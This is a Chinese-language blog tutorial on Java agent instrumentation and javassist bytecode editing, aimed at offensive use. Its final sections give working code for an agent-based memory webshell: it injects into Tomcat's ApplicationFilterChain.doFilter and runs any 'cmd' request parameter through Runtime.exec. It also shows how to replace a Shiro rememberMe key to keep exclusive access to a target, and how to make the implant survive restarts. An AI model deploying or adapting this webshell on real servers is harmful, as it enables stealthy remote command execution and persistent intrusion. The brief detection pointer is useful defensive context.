介绍
Java agent
是一种特殊的Java程序(Jar文件),它是Instrumentation
的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API
与虚拟机交互。
在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。
java作为一种强类型的语言,不通过编译就不能够进行jar包的生成。而有了java agent技术,就可以在字节码这个层面对类和方法进行修改。同时,也可以把java agent理解成一种代码注入的方式。但是这种注入比起spring的aop更加的优美。
Java agent的使用方式有两种:
- 实现
premain
方法,在JVM启动前加载。 - 实现
agentmain
方法,在JVM启动后加载。
premain
和agentmain
函数声明如下,拥有Instrumentation inst
参数的方法优先级更高:
public static void agentmain(String agentArgs, Instrumentation inst) {
...
}
public static void agentmain(String agentArgs) {
...
}
public static void premain(String agentArgs, Instrumentation inst) {
...
}
public static void premain(String agentArgs) {
...
}
第一个参数String agentArgs
就是Java agent的参数。
第二个参数Instrumentation inst
相当重要,inst 是一个 java.lang.instrument.Instrumentation
的实例,由 JVM 自动传入。java.lang.instrument.Instrumentation
是 instrument
包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。
premain
这里简单的举例说明premain
的使用,创建一个maven项目
编写premain
函数
import java.lang.instrument.Instrumentation;
public class Main {
public static void premain(String agentArgs, Instrumentation inst){
for(int i=0; i < 5; i+=1){
System.out.println("called premain");
}
}
}
在resources
目录下创建META-INF/MANIFEST.MF
,并指定Premain-Class
;要注意的是,最后必须多一个换行。
Manifest-Version: 1.0
Premain-Class: Main
然后打包成jar
文件,在Project Structure
-> Artifacts
-> JAR
-> From modules with dependencies
中配置
默认选项就行
然后选择Build
-> Build Artifacts
-> Build
会在out/artifacts/javaagent_jar
目录下生成对应的jar文件
随便找个jar文件示例,比如我们写个hello word
,使用 -javaagent:agent.jar
参数执行
java -javaagent:javaagent.jar -jar hello.jar
可以发现在hello.jar
输出Hello world
之前就执行了,具体执行流程大致如下
然而这种方法存在一定的局限性:只能在启动时使用-javaagent
参数指定。
在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain
。相比之下,agentmain
更加实用。
agentmain
写一个agentmain
和premain
差不多,只需要在META-INF/MANIFEST.MF
中加入Agent-Class:
即可。
Manifest-Version: 1.0
Agent-Class: AgentMain
不同的是,这种方法不是通过JVM启动前的参数来指定的,官方为了实现启动后加载,提供了Attach API
。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach
包里面。着重关注的是VitualMachine
这个类。
需要依赖
VitualMachine
的loadAgent
达到attach的目的
VirtualMachine
字面意义表示一个Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了获取系统信息、 loadAgent
,attach
和 detach
等方法,可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上 。代理类注入操作只是它众多功能中的一个,通过loadAgent
方法向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation
实例。
具体的用法看一下官方给的例子大概就理解了:
// com.sun.tools.attach.VirtualMachine
// 下面的示例演示如何使用VirtualMachine:
// attach to target VM
VirtualMachine vm = VirtualMachine.attach("2177");
// start management agent
Properties props = new Properties();
props.put("com.sun.management.jmxremote.port", "5000");
vm.startManagementAgent(props);
// detach
vm.detach();
// 在此示例中,我们附加到由进程标识符2177标识的Java虚拟机。然后,使用提供的参数在目标进程中启动JMX管理代理。最后,客户端从目标VM分离。
下面列几个这个类提供的方法:
com.sun.tools.attach.VirtualMachine
``` public abstract class VirtualMachine { // 获得当前所有的JVM列表 public static Listlist() { … } // 根据pid连接到JVM public static VirtualMachine attach(String id) { … }
// 断开连接 public abstract void detach() {}
// 加载agent,agentmain方法靠的就是这个方法 public void loadAgent(String agent) { … }
}
### 实现举例
- Attach.java(找到进程,加载`agentMain.jar`)
import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { if(args.length == 2){ String pid = args[0]; String jarName = args[1];
System.out.println("attach 的 pid ==> " + pid);
System.out.println("attach 的 jarName ==> " + jarName);
// 连接到JVM
VirtualMachine virtualMachine = VirtualMachine.attach(pid);
// 加载agentmain
virtualMachine.loadAgent(jarName);
// 断开连接
virtualMachine.detach();
System.out.println("ends");
}
else{
System.out.println("至少2个参数");
// 列出所有的jvm
System.out.println(VirtualMachine.list());
}
}
}
- AgentMain.java(想要动态实现的代码)
import java.lang.instrument.Instrumentation;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) { for(int i=0; i < 5; i+=1){ System.out.println(“called agentmain”); } } }
- 可以写一起打包成一个jar,也可以分开打包成2个,问题都不大,只要`MANIFST.MF`没问题就行
Manifest-Version: 1.0 PreMain-Class: PreMain Agent-Class: AgentMain Main-Class: Attach
- 找一下想要操作的jvm的pid(也可以用上面的`list()`方法看到pid)
![image-20211126132236606](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990341389-82f56896-f624-4682-acee-df561151edfb.png)
- 配置参数
java -jar attach.jar 63242 agentMain.jar
也可以手动在idea里面配置好<br />![image-20211126132408117](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990344265-59c8c1de-6b6d-40c2-b895-dc71cf8d2b33.png)
- 运行
![image-20211126132804923](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990346185-32ef8da0-58d2-4fdb-95fb-338b6d4e23fa.png)
- 转到我们想要attach的tomcat中看看效果
![image-20211126132849089](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990347557-9ffbfcc3-72f3-4bce-ba26-6ffc8e055b20.png)
## Instrumentation
刚才说了第二个参数`Instrumentation inst`相当重要,inst 是一个 `java.lang.instrument.Instrumentation` 的实例,由 JVM 自动传入。`java.lang.instrument.Instrumentation` 是 `instrument` 包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。<br />下面列出这个类的一些方法,更加详细的介绍和方法,可以参照[官方文档](61516acf6623f9121e85487fc00fc898),也可以看这个类源码里面的说明
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
......
}
### 获取所有可修改类
先介绍`getAllLoadedClasses`和`isModifiableClasses`。顾名思义:
- `getAllLoadedClasses`:获取所有已经加载的类。
- `isModifiableClasses`:判断某个类是否能被修改。
修改刚才的`AgentMain.java`,并编译
import java.lang.instrument.Instrumentation;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) { Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses){ System.out.println(cls.getName()); System.out.print(“isModifiableClass: “); System.out.println(inst.isModifiableClass(cls)?”true”:”false”); } } }
修改`Attach.java`,并重新attach到jvm中
import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { // 列出所有的jvm System.out.println(VirtualMachine.list()); String pid = “68588”; String jarName = “/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar”; // 连接到JVM VirtualMachine virtualMachine = VirtualMachine.attach(pid); // 加载agentmain virtualMachine.loadAgent(jarName); // 断开连接 virtualMachine.detach();
System.out.println("ends");
}
}
运行后<br />![image-20211126150313407](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990348687-39384ee1-9a3a-45c6-afc1-0487ad35e615.png)<br />得到了目标JVM上所有已经加载的类,并且知道了这些类能否被修改
### 修改类
使用`addTransformer()`和`retransformClasses()`可以篡改Class的字节码<br />首先再看一下这两个方法的声明:
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
......
}
在`addTransformer()`方法中,有一个参数`ClassFileTransformer transformer`。这个参数将帮助我们完成字节码的修改工作。
#### ClassFileTransformer
`ClassFileTransformer`也是一个接口,它提供了`transform`方法,此方法的实现可能会转换提供的类文件并返回新的替换类文件。<br />![image-20211126150952479](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990349726-dde6d338-7cb7-47f6-85ea-73aa092f6745.png)<br />接口注释简单概括一下:
1. 使用`Instrumentation.addTransformer()`来加载一个转换器。
1. 转换器的返回结果(`transform()`方法的返回值)将成为转换后的字节码。
1. 对于没有加载的类,会使用`ClassLoader.defineClass()`定义它;对于已经加载的类,会使用`ClassLoader.redefineClasses()`重新定义,并配合`Instrumentation.retransformClasses`进行转换。
现在已经知道了怎样能修改Class的字节码,具体的做法还需要用到另一个类库`javassist`来获取字节码,不了解的可以网上找文章了解下,可以简单理解为:通过这个类库可以直接创建一个class字节码文件
#### javassist
因为我们的目的只是修改某个类的某个方法,所以着重介绍下`CtMethod`,其他需要的简单过一下
##### 依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
##### ClassPool
这个类是`javassist`的核心组件之一。<br />来看一下官方对他的介绍:
> `ClassPool`是`CtClass`对象的容器。`CtClass`对象必须从该对象获得。如果`get()`在此对象上调用,则它将搜索表示的各种源`ClassPath` 以查找类文件,然后创建一个`CtClass`表示该类文件的对象。创建的对象将返回给调用者。
简单来说,这就是个容器,存放的是`CtClass`对象。<br />获得方法: `ClassPool cp = ClassPool.getDefault();`。通过 `ClassPool.getDefault()` 获取的 `ClassPool` 使用 JVM 的类搜索路径。**如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类**,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,**ClassPool 必须添加额外的类搜索路径**。
cp.insertClassPath(new ClassClassPath(
##### CtClass
可以把它理解成加强版的`Class`对象,需要从`ClassPool`中获得。<br />获得方法:`CtClass cc = cp.get(ClassName)`。
##### CtMethod
同理,可以理解成加强版的`Method`对象。<br />获得方法:`CtMethod m = cc.getDeclaredMethod(MethodName)`。<br />这个类提供了一些方法,使我们可以便捷的修改方法体:
public final class CtMethod extends CtBehavior { // 主要的内容都在父类 CtBehavior 中 }
// 父类 CtBehavior public abstract class CtBehavior extends CtMember { // 设置方法体 public void setBody(String src);
// 插入在方法体最前面
public void insertBefore(String src);
// 插入在方法体最后面
public void insertAfter(String src);
// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);
}
传递给方法 `insertBefore()` ,`insertAfter()` 和 `insertAt()` 的 String 对象**是由`Javassist` 的编译器编译的**。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:
|
符号
| 含义
|
| --- | --- |
|
`$0`, `$1`, `$2`, ...
| `$0 = this; $1 = args[1] .....`
|
|
`$args`
| 方法参数数组.它的类型为 `Object[]`
|
|
`$$`
| 所有实参。例如, `m($$)` 等价于 `m($1,$2,`...`)`
|
|
`$cflow(`...`)`
| `cflow` 变量
|
|
`$r`
| 返回结果的类型,用于强制类型转换
|
|
`$w`
| 包装器类型,用于强制类型转换
|
|
`$_`
| 返回值
|
详细的内容可以看[Javassist 使用指南(二)](https://www.jianshu.com/p/b9b3ff0e1bf8)。
#### 示例
举例说明一下是如何动态修改类字节码的<br />先说2个注意点:
- 如果在使用过程中找不到javassist包中的类(因为目标环境也需要这个类库,不然会找不到Class),那么可以使用URLCLassLoader+反射的方式调用
- 需要在`agent.jar`中的`MANIFEST.MF`中添加`Can-Retransform-Classes: true`,不然会抛出异常`UnmodifiableClassException`
---
- 被动态修改的类源码,其中`Hello`类的`hello`方法是我们要动态修改的目标,用`Scanner`是为了保证程序不停止,给我们留有操作的时间
// Main.java import java.util.Scanner;
public class Main { public static void main(String[] args) { Hello h1 = new Hello(); h1.hello();
System.out.println("等待输入...");
new Scanner(System.in).next();
Hello h2 = new Hello();
h2.hello();
}
}
// Hello.java public class Hello { public void hello(){ System.out.println(“hello world”); } }
- 运行并获取pid(69484)
![image-20211126164528918](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990351284-483223cc-3d01-439c-b043-2233d160fb22.png)
- attach代码还是差不多,主要是给`agent.jar`附加进去
import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { // 列出所有的jvm System.out.println(VirtualMachine.list()); String pid = “69484”; String jarName = “/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar”; // 连接到JVM VirtualMachine virtualMachine = VirtualMachine.attach(pid); // 加载agentmain virtualMachine.loadAgent(jarName); // 断开连接 virtualMachine.detach();
System.out.println("ends");
}
}
- AgentMain(主要是添加Transformer和触发Transformer)
// AgentMain.java import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses){ // 定位到类 if (cls.getName() == TransformerDemo.editClassName){ // 添加Transformer inst.addTransformer(new TransformerDemo(), true); // 触发Transformer inst.retransformClasses(cls); } }
}
}
// TransformerDemo.java import javassist.*;
import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象 public class TransformerDemo implements ClassFileTransformer { public static String editClassName = “Hello”; public static String editMethod = “hello”;
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
ClassPool classPool = ClassPool.getDefault();
// 添加额外的类搜索路径
if (classBeingRedefined != null){
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classClassPath);
}
// 修改方法hello(),返回 byte[] 字节码
try {
CtClass ctClass = classPool.get(editClassName);
CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
String modifySource = "System.out.println(\"TransformerDemo attached\");";
ctMethod.setBody(modifySource);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return new byte[0];
}
}
- 结果,可以看到第二次执行`hello()`方法时发现该方法被动态的修改了
![image-20211126175454346](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990352295-4c9dcc23-36bd-408d-869a-ef3eda05c691.png)
## 内存马
既然现在已经能够修改方法体了,那就可以将木马放到**某个一定会执行**的方法内,这样的话,当访问任意路由的时候,就会调用木马。那么现在的问题就变成了,注入到哪一个类的哪个方法比较好。<br />众所周知,Spring boot 中内嵌了一个`embed Tomcat`作为容器,而在网上流传着很多版本的 Tomcat“无文件”内存马。这些内存马大多数都是通过**重写/添加`Filter`**来实现的。既然Spring boot 使用了`Tomcat`,那么能不能照葫芦画瓢,通过`Filter`,实现一个Spring boot的内存马呢?当然是可以的。
### Spring Boot的Filter
给写的`Controller`下个断点,可以看到执行到`controller`的时候,会经过很多的`doFilter`和`internalDoFilter`方法,它们大多来自于`ApplicationFilterChain`这个类。<br />![image-20211126181552570](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990353157-edce60ac-4fc2-42ed-96cf-5bc944c8f201.png)<br />看看`ApplicationFilterChain`的`doFilter`方法:
@Override public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
@Override
public Void run()
throws ServletException, IOException {
internalDoFilter(req,res);
return null;
}
}
);
} catch (PrivilegedActionException pe) {
......
}
} else {
internalDoFilter(request,response);
}
}
乍一看内容挺多,其实总结下来就是调用`this.internalDoFilter()`。所以再来简单看一下`internalDoFilter()`方法:
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
......
}
}
这两个个方法拥有`Request`和`Response`参数。如果能重写其中一个,那就能控制所有的请求和响应!因此,用来作为内存马的入口点简直完美。这里我选择`doFilter()`方法,具体原因会在之后提到。
### Java agent修改doFilter
> 注意:
> 1. 每次attach之前,需要访问一下spring的web页面,要让Spring `Initializing Spring DispatcherServlet 'dispatcherServlet'`,加载一下需要的类,不然不会attach成功,因为找不到我们要修改的类,所以也找不到方法,也就无法修改成功
> 1. shell中所有类都要用全称,比如`java.io.InputStream`,不然可能会抛出异常
> 1. 如果是完全替代方法,记得用{}包裹
> 1. 可能会出现各种`java.lang.NoClassDefFoundError`的问题,跟一下这个断点,就会发现缺少各种各样的class文件,跟了一下,发现可能是动态修改字节码后,整个类的class都会出现异常,太离谱了,也不知道网上的大哥们为啥没遇到
> 1. 接上一个问题,动态修改过的class文件反编译后代码是没问题的,但是还是不知道为啥解决不了找不到类定义的问题
对刚才的agent代码稍微修改即可(实在重写不了`doFilter`方法了,分析了几天,重写了class就算代码没问题,也会出现`java.lang.NoClassDefFoundError`的问题)
> 并且这里为了不破坏原来的方法结构,我们不用`CtMethod`的`setSource`,而是用`insertBefore`方法
- AgentMain.java
// AgentMain.java import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class AgentMain { public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses){ // 定位到类 if (cls.getName() == TransformerDemo.editClassName){ // 添加Transformer inst.addTransformer(new TransformerDemo(), true); // 触发Transformer inst.retransformClasses(cls); } }
}
}
// TransformerDemo.java import javassist.*;
import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象 public class TransformerDemo implements ClassFileTransformer { public static String editClassName = “org.apache.catalina.core.ApplicationFilterChain”; public static String editMethod = “doFilter”; public static String memshell = “” + “ javax.servlet.http.HttpServletRequest req = $1;\n” + “ javax.servlet.http.HttpServletResponse res = $2;\n” + “ java.lang.String cmd = req.getParameter(\”cmd\”);\n” + “\n” + “ if (cmd != null){\n” + “ System.out.println(cmd);” + “ try {\n” + “ java.lang.Runtime.getRuntime().exec(cmd);\n” + “ } catch (Exception e){\n” + “ e.printStackTrace();\n” + “ }\n” + “ }\n” + “ else{\n” + “ internalDoFilter(req,res);\n” + “ }\n” + “”;
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
ClassPool classPool = ClassPool.getDefault();
// 添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classClassPath);
}
// 修改方法doFilter(),返回 byte[] 字节码
try {
CtClass ctClass = classPool.get(editClassName);
CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
ctMethod.insertBefore(memshell);
ctClass.writeFile("/Users/d4m1ts/d4m1ts/java/Temp/out/artifacts/temp_jar");
System.out.println(memshell);
System.out.println("injection success");
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return new byte[0];
}
}
给上面的打包成`agent.jar`,然后通过虚拟机attach到spring jvm中,再执行命令即可(理论上是可以的,网上的文章也都可以成功,但我实在是调不出来为啥了)<br />![image-20211208100426485](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990354753-6617d06c-deb4-45d5-8b68-61b9425e2c21.png)
## 拓展操作
通过加载agent可以修改很多类的字节码,所以利用起来操作的空间也很大,不仅仅是内存马这一个点。<br />一个比较多的利用方法,就是修改`shiro`的key,这样可以让这个漏洞仅自己可用,避免共享目标权限<br />**重点:**<br />**在解析rememberMe的时候,先将其base64解码,然后使用AES解密,在AES解密的时候,会调用`org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey()`**,更改掉这个函数的返回值,就可以更改解密的密钥。
// 使用insertBefore() $0.setCipherKey(org.apache.shiro.codec.Base64.decode(“4AvVhmFLUs0KTA3Kprsdag==”));
// 使用setBody() return (org.apache.shiro.codec.Base64.decode(“4AvVhmFLUs0KTA3Kprsdag==”));
```
查杀
agent 内存马相比 filter 内存马,会多一步就是我们需要将我们自己的 agent.jar
传到目标上,然后利用代码将 agent.jar
进行注入,注入之后我们就可以将 agent.jar
进行删除,agent 内存马相比 filter 这些内存马相对更难查杀一些
- 基于javaAgent内存马检测查杀指南
风险
注入agent内存马后,可能存在我上面那种整个网站崩溃的情况;网上有说可能是因为虚拟内存不够了而导致的,但是我设置大了虚拟内存还是不行。。。
所以实战中尽量还是用API型的内存马
内存马复活
换个说法,如何防止内存马重启后失效;
其实也很简单,就是在jvm关闭前,把attach.jar
和agentMain.jar
都写到磁盘上,然后无限调用attach.jar
尝试attach到jvm中;
但是这样感觉更容易被发现了,所谓有得必有失吧emmm